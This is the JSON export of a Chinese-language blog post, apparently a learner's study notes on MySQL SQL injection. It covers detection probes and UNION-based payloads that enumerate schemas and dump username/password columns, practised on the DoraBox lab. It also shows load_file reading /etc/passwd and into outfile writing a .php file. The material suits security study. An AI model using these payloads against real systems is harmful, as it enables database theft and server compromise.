{"id":274,"date":"2021-08-18T07:31:29","date_gmt":"2021-08-18T07:31:29","guid":{"rendered":"http:\/\/49.235.100.226\/?p=274"},"modified":"2021-08-31T08:40:10","modified_gmt":"2021-08-31T08:40:10","slug":"sqlzhuru","status":"publish","type":"post","link":"http:\/\/www.nokws.top\/index.php\/2021\/08\/18\/sqlzhuru\/","title":{"rendered":"SQL\u6ce8\u5165"},"content":{"rendered":"\n

\u60f3\u5199\u4e2aSQL\u653b\u51fb\u7684\u5927\u6982\u6b65\u9aa4\u3002<\/p>\n\n\n\n

\u4ec0\u4e48\u662fSQL\u6ce8\u5165
SQL\u6ce8\u5165\uff08Sql Injection \uff09<\/p>\n\n\n\n

\u662f\u4e00\u79cd\u5c06SQL\u8bed\u53e5\u63d2\u5165\u6216\u6dfb\u52a0\u5230\u5e94\u7528(\u7528\u6237)\u7684\u8f93\u5165\u53c2\u6570\u4e2d\u7684\u653b\u51fb
\u8fd9\u4e9b\u53c2\u6570\u4f20\u9012\u7ed9\u540e\u53f0\u7684SQL\u6570\u636e\u5e93\u670d\u52a1\u5668\u52a0\u4ee5\u89e3\u6790\u5e76\u6267\u884c
\u54ea\u91cc\u5b58\u5728SQL\u6ce8\u5165\uff1f<\/p>\n\n\n\n

GET
POST
HTTP\u5934\u90e8\u6ce8\u5165
Cookie\u6ce8\u5165
\u4efb\u4f55\u5ba2\u6237\u7aef\u53ef\u63a7\uff0c\u4f20\u9012\u5230\u670d\u52a1\u5668\u7684\u53d8\u91cf\uff0c\u5e76\u4e14\u548c\u6570\u636e\u5e93\u8fdb\u884c\u4ea4\u4e92\uff0c\u90fd\u6709\u53ef\u80fd\u5b58\u5728sql\u6ce8\u5165\u3002<\/p>\n\n\n\n

SQL\u6ce8\u5165\u7684\u5206\u7c7b<\/p>\n\n\n\n

\u6839\u636eSQL\u6570\u636e\u7c7b\u578b\u5206\u7c7b
\u6574\u578b\u6ce8\u5165
\u5b57\u7b26\u4e32\u7c7b\u578b\u6ce8\u5165
\u6839\u636e\u6ce8\u5165\u7684\u8bed\u6cd5\u5206\u7c7b
UNION query SQL injection\uff08\u53ef\u8054\u5408\u67e5\u8be2\u6ce8\u5165\uff09
Error-based SQL injection\uff08\u62a5\u9519\u578b\u6ce8\u5165\uff09
Boolean-based blind SQL injection\uff08\u5e03\u5c14\u578b\u6ce8\u5165\uff09
Time-based blind SQL injection\uff08\u57fa\u4e8e\u65f6\u95f4\u5ef6\u8fdf\u6ce8\u5165\uff09
Stacked queries SQL injection\uff08\u53ef\u591a\u8bed\u53e5\u67e5\u8be2\u6ce8\u5165\uff09<\/p>\n\n\n\n

\u5982\u4f55\u53bb\u5224\u65adSQL\u6ce8\u5165\u6f0f\u6d1e
and 1=1 \/ and 1=2 \u56de\u663e\u9875\u9762\u4e0d\u540c\uff08\u6574\u5f62\u5224\u65ad\uff09
\u5355\u5f15\u53f7\u5224\u65ad \u2018 \u663e\u793a\u6570\u636e\u5e93\u9519\u8bef\u4fe1\u606f\u6216\u8005\u9875\u9762\u56de\u663e\u4e0d\u540c\uff08\u6574\u5f62\uff0c\u5b57\u7b26\u4e32\u7c7b\u578b\u5224\u65ad\uff09
\\ (\u8f6c\u4e49\u7b26)
-1\/+1 \u56de\u663e\u4e0b\u4e00\u4e2a\u6216\u4e0a\u4e00\u4e2a\u9875\u9762\uff08\u6574\u578b\u5224\u65ad\uff09
and sleep(5) (\u5224\u65ad\u9875\u9762\u8fd4\u56de\u65f6\u95f4)
MySQL\u6570\u636e\u5e93\u7684\u7279\u6027
MySQL\u4e2d3\u79cd\u6ce8\u91ca\u98ce\u683c <\/p>\n\n\n\n

and 1=1 \/ and 1=2 \u56de\u663e\u9875\u9762\u4e0d\u540c\uff08\u6574\u5f62\u5224\u65ad\uff09
\u5355\u5f15\u53f7\u5224\u65ad \u2018 \u663e\u793a\u6570\u636e\u5e93\u9519\u8bef\u4fe1\u606f\u6216\u8005\u9875\u9762\u56de\u663e\u4e0d\u540c\uff08\u6574\u5f62\uff0c\u5b57\u7b26\u4e32\u7c7b\u578b\u5224\u65ad\uff09
\\ (\u8f6c\u4e49\u7b26)
-1\/+1 \u56de\u663e\u4e0b\u4e00\u4e2a\u6216\u4e0a\u4e00\u4e2a\u9875\u9762\uff08\u6574\u578b\u5224\u65ad\uff09
and sleep(5) (\u5224\u65ad\u9875\u9762\u8fd4\u56de\u65f6\u95f4)
<\/p>\n\n\n\n

MySQL\u6570\u636e\u5e93\u7684\u7279\u6027<\/strong>
MySQL\u4e2d3\u79cd\u6ce8\u91ca\u98ce\u683c
\uff08url\u7f16\u7801\u4e3a%23\uff09
\u2013 \uff08\u2013\u540e\u8fb9\u8981\u8ddf\u4e0a\u4e00\u4e2a\u6216\u591a\u4e2a\u7a7a\u683c –+\uff09
\/* \u2026 *\/
\/*! \u2026 *\/ \u5185\u8054\u6ce8\u91ca
select * \/!22222from\/ users;(\u6ce8\uff1a22222\u4f4e\u4e8e\u6570\u636e\u5e93\u7248\u672c\u53f7\uff085[0].7.20\uff09\u5c31\u53ef\u663e\u793afrom)<\/p>\n\n\n\n

MySQL\u51fd\u6570\u5229\u7528
\u5e38\u7528\u51fd\u6570
user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os<\/p>\n\n\n\n

load_file( )\u51fd\u6570 \u8bfb\u6587\u4ef6\u64cd\u4f5c
\u524d\u63d0<\/p>\n\n\n\n

\u77e5\u9053\u6587\u4ef6\u7edd\u5bf9\u8def\u5f84
\u80fd\u591f\u4f7f\u7528union\u67e5\u8be2
\u5bf9web\u76ee\u5f55\u6709\u5199\u6743\u9650
UNION SELECT 1,load_file(\u2019\/etc\/passwd\u2019),3,4,5,6#
UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#<\/p>\n\n\n\n

into outfile( )\u5199\u6587\u4ef6\u64cd\u4f5c
\u524d\u63d0
\u6587\u4ef6\u540d\u5fc5\u987b\u5168\u8def\u5f84\uff08\u7edd\u5bf9\u8def\u5f84\uff09\uff0c
\u7528\u6237\u5fc5\u987b\u6709\u5199\u6587\u4ef6\u7684\u6743\u9650
\u6ca1\u6709\u5bf9 \u2018 \u5f15\u53f7\u8fc7\u6ee4
SELECT \u2018\u2019 into outfile \u2018c:\\Windows\\tmp\\1.php\u2019<\/p>\n\n\n\n

\u8fde\u63a5\u5b57\u7b26\u4e32\u51fd\u6570
concat(str1,str2)
concat_ws(separator, str1,str2\u2026)
group_concat(str1,str2\u2026)
MySQL\u4e2dinformation_scheme\u5e93
SCHEMATA\u8868
\u5b57\u6bb5\uff1aSCHEMA_NAME
TABLES\u8868
\u5b57\u6bb5\uff1aTABLE_SCHEMA\uff0c TABLE_NAME
COLUMNS\u8868
\u5b57\u6bb5\uff1aTBALE_SCHEMA,TABLE_NAME,COLUMN_NAME<\/p>\n\n\n\n

MySQL\u4e2dUNION\u89c4\u5219
UNION\u5fc5\u987b\u7531\u4e24\u6761\u6216\u4e24\u6761\u4ee5\u4e0a\u7684SELECT\u8bed\u53e5\u7ec4\u6210\uff0c\u8bed\u53e5\u4e4b\u95f4\u7528\u5173\u952e\u5b57UNION\u5206\u9694
UNION\u4e2d\u7684\u6bcf\u4e2a\u67e5\u8be2\u5fc5\u987b\u5305\u542b\u76f8\u540c\u7684\u5217\u3002
UNION\u4f1a\u4ece\u67e5\u8be2\u7ed3\u679c\u96c6\u4e2d\u81ea\u52a8\u53bb\u9664\u4e86\u91cd\u590d\u884c\u3002
UNION query SQl injection
\u5229\u7528\u524d\u63d0
\u9875\u9762\u4e0a\u6709\u663e\u793a\u4f4d
\u4f18\u70b9:
\u65b9\u4fbf\u3001\u5feb\u6377\u3001\u6613\u4e8e\u5229\u7528
\u7f3a\u70b9:
\u9700\u8981\u663e\u793a\u4f4d<\/p>\n\n\n\n

\u6b65\u9aa4
\u5224\u65ad\u5217
order by 10
order by 20
order by 15\/\/order by 1 \u8868\u793a\u6309select\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u6392\u5e8f 
\u2026<\/p>\n\n\n\n

\u5224\u65ad\u663e\u793a\u4f4d
url?id=-1 union select 1,2,3,4,5 (-1\u662f\u67e5\u4e0d\u5230\u7684\uff0cunion\u8054\u5408\u67e5\u8be2)<\/p>\n\n\n\n

\u83b7\u53d6\u5f53\u6570\u636e\u5e93\u540d\u79f0\u548c\u5f53\u524d\u8fde\u63a5\u6570\u636e\u5e93\u7684\u7528\u6237
url?id=-1 union select 1,2,databaes(),4,5
url?id=-1 union select 1,2,user(),4,5<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5177\u4f53\u7684\u64cd\u4f5c\uff1a\u5728dorabox\u4e0a\u505a\u7684\u7ec3\u4e60\uff0c\u9996\u5148\u8981\u5224\u65ad\u6709\u591a\u5c11\u5217\uff08\u5229\u7528order by\uff09\uff0c-1\u662f\u67e5\u4e0d\u5230\u7136\u540e\u5c31\u6ca1\u6709\u8f93\u51fa\u7ed3\u679c\uff0c\u53ef\u4ee5\u628a\u53d8\u91cf\u503c\u7559\u7ed9\u6211\u4eec\u60f3\u8981\u67e5\u7684\u4e1c\u897f\uff0cunion select \u8981\u6c42\u67e5\u8be2\u7684\u5217\u6570\u76f8\u540c \u6240\u4ee5\u662f “1 ,user(),database()”\uff08\u5bf9\u5e94\u6570\u636e\u5e93\u8868\u91cc\u7684 id \u6807\u9898 \u5185\u5bb9\uff1f\uff09<\/p>\n\n\n\n

\u5217\u51fa\u6240\u6709\u6570\u636e\u5e93
limit \u4e00\u4e2a\u4e00\u4e2a\u6253\u5370\u51fa\u6765\u5e93\u540d
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat \u4e00\u6b21\u6027\u5168\u90e8\u663e\u793a
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA<\/p>\n\n\n\n

-1 UNION select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5217\u51fa(\u6570\u636e\u5e93\uff1atest)\u4e2d\u6240\u6709\u7684\u8868
limit \u4e00\u4e2a\u4e00\u4e2a\u6253\u5370\u51fa\u6765\u5b57\u6bb5\u540d
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=\u2018test\u2019
limit 0,1
group_concat \u4e00\u6b21\u6027\u5168\u90e8\u663e\u793a
select group_concat(table_name) from information_schema.tables where
table_schema=0x674657374
\u6ce8\u610f\uff1a\u6570\u636e\u5e93\u540d\u79f0\u53ef\u4ee5\u7528\u5341\u516d\u8fdb\u5236\u6765\u4ee3\u66ff\u5b57\u7b26\u4e32\uff0c\u8fd9\u6837\u53ef\u4ee5\u7ed5\u8fc7\u5355\u5f15\u53f7\u7684\u9650\u5236\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
-1 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()\n\/\/where\u7528\u4e8e\u8fc7\u6ee4\n\/\/\u6216\u8005\n-1 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='pentest'<\/code><\/pre>\n\n\n\n
\u5217\u51fa\uff08\u6570\u636e\u5e93\uff1atest \u8868\uff1aadmin \uff09\u4e2d\u6240\u6709\u7684\u5b57\u6bb5(\u5217\u540d)
limit \u4e00\u4e2a\u4e00\u4e2a\u6253\u5370\u51fa\u6765
select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA=\u2018baji\u2019 and TABLE_NAME=\u2018users\u2019 limit 0,1
group_concat \u4e00\u6b21\u6027\u5168\u90e8\u663e\u793a
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
-1 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='news'<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
-1 UNION select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='pentest' and TABLE_NAME='news'<\/code><\/pre>\n\n\n\n
\u5217\u51fa\uff08\u6570\u636e\u5e93\uff1atest \u8868\uff1aadmin \uff09\u4e2d\u7684\u6570\u636e
limit \u4e00\u4e2a\u4e00\u4e2a\u6253\u5370\u51fa\u6765
select username,passwd from test.admin limit 0,1
group_concat \u628a \u4e00\u6b21\u6027\u5168\u90e8\u6253\u5370
select group_concat(concat(username,0x20,passwd)) from test.admin <\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
-1 UNION SELECT 1,2,group_concat(concat(id,title,content)) from news<\/code><\/pre>\n\n\n\n
\n\/\/\u5355\u4e2a\u8f93\u51fa\n-1 UNION SELECT 1,2,concat_ws('|',id,title,content) from news\n-1 UNION SELECT 1,2,concat_ws('|',id,title,content) from news limit 1,2\/\/limit \u51b3\u5b9a\u8f93\u51fa\u7b2c\u51e0\u884c<\/code><\/pre>\n\n\n\n
\u5982\u679c\u8f93\u5165\u8bed\u53e5\u662f\u6b63\u786e\u7684\u53ef\u4ee5\u5c1d\u8bd5\u95ed\u5408\uff0c\u5229\u7528’\u6216\u8005#\uff0c\u5982\u679c\u9047\u5230\u8f6c\u4e49\u53ef\u4ee5\u5c06\u5b57\u7b26\u4e32\u8f6c\u4e3a16\u8fdb\u5236\u3002\u6682\u65f6\u5c31\u5148\u5199\u8fd9\u4e48\u591a\uff0cSQL\u505a\u7684\u4e0d\u591a\uff0c\u627e\u51e0\u4e2a\u9776\u573a\u7ec3\u7ec3\u518d\u7ee7\u7eed\u5199\u3002<\/p>\n\n\n\n
\u987a\u4fbf\u628adorabox\u5269\u4e0b\u7684SQL\u4e5f\u5199\u4e86\u3002<\/p>\n\n\n\n
SQLi \u5b57\u7b26\u578b<\/p>\n\n\n\n
1' or '1'='1 \/\/\u56de\u663e\u6b63\u5e38\uff0c\u5305\u88f9\u5f62\u5f0f\u4e3a\u2019 \u2019\n1' order by 3# \/\/\u5b57\u6bb5\u6570\u4e3a3\nDoraBox' and '1'='2' union select 1,2,3' \/\/\u7ecf\u5178\u95ed\u5408\uff0c\u4e5f\u53ef\u4ee5\u76f4\u63a5\u5229\u7528 union select.\u4f46\u4e0d\u77e5\u9053\u540e\u9762\u8fd9\u4e2a'\u662f\u4e3a\u4ec0\u4e48\u3002\u3002php\u548cmysql\u90fd\u4e0d\u719f\u554a\u3002\u3002\nDoraBox' and '1'='2' union select 1,2,3# \/\/\u8c8c\u4f3c\u6700\u540e\u4e00\u4e2a'\u662f\u628a\u539f\u672c\u7684\u95ed\u5408\u4e86\uff1f\u76f4\u63a5\u7528#\u6ce8\u91ca\uff1f\n-1' union select 1,2,database()# \/\/\u7206\u5e93\u540d\n-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#\/\/\u7206\u8868\u540d\n-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'# \/\/\u7206\u5b57\u6bb5\n-1' union select 1,2,concat_ws(\",\",id,rest,own) from account# \/\/\u62a5\u6570\u636e\n\n<\/code><\/pre>\n\n\n\n
SQLi \u641c\u7d22\u578b<\/p>\n\n\n\n
1' or 1=1#\/\/\u56de\u663e\u6b63\u5e38(\u56e0\u4e3a\u8fd9\u6b21\u8fd8\u6709%\u9700\u8981\u95ed\u5408\uff0c\u5982\u679c\u75281\u2019 or \u20181\u2019='1\u540e\u9762\u7684\u7b49\u5f0f\u4e0d\u6210\u7acb)\n1' order by 3#\/\/\u5b57\u6bb5\u6570\u4e3a3\n-1' union select 1,2,3#\/\/\u56de\u663e\u5f97\u52302\uff0c3\n-1' union select 1,2,database()#\/\/\u7206\u6570\u636e\u5e93\u540d\n-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#\/\/\u7206\u8868\u540d\n-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'#\n\/\/\u7206\u5b57\u6bb5\n\n-1' union select 1,2,concat_ws(\",\",id,rest,own) from account#\n\/\/\u7206\u6570\u636e\uff08\u5176\u5b9e\u540e\u9762\u51e0\u4e2a\u64cd\u4f5c\u548c\u4e0a\u9762\u5dee\u4e0d\u591a\uff09<\/code><\/pre>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u60f3\u5199\u4e2aSQL\u653b\u51fb\u7684\u5927\u6982\u6b65\u9aa4\u3002 \u4ec0\u4e48\u662fSQL\u6ce8\u5165SQL\u6ce8\u5165\uff08Sql Injection \uff09 \u662f\u4e00\u79cd\u5c06SQL\u8bed\u53e5\u63d2 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,4],"tags":[],"class_list":["post-274","post","type-post","status-publish","format-standard","hentry","category-loudongzongjie","category-bachanglianxi"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/274","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/comments?post=274"}],"version-history":[{"count":4,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/274\/revisions"}],"predecessor-version":[{"id":284,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/274\/revisions\/284"}],"wp:attachment":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/media?parent=274"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/categories?post=274"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/tags?post=274"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}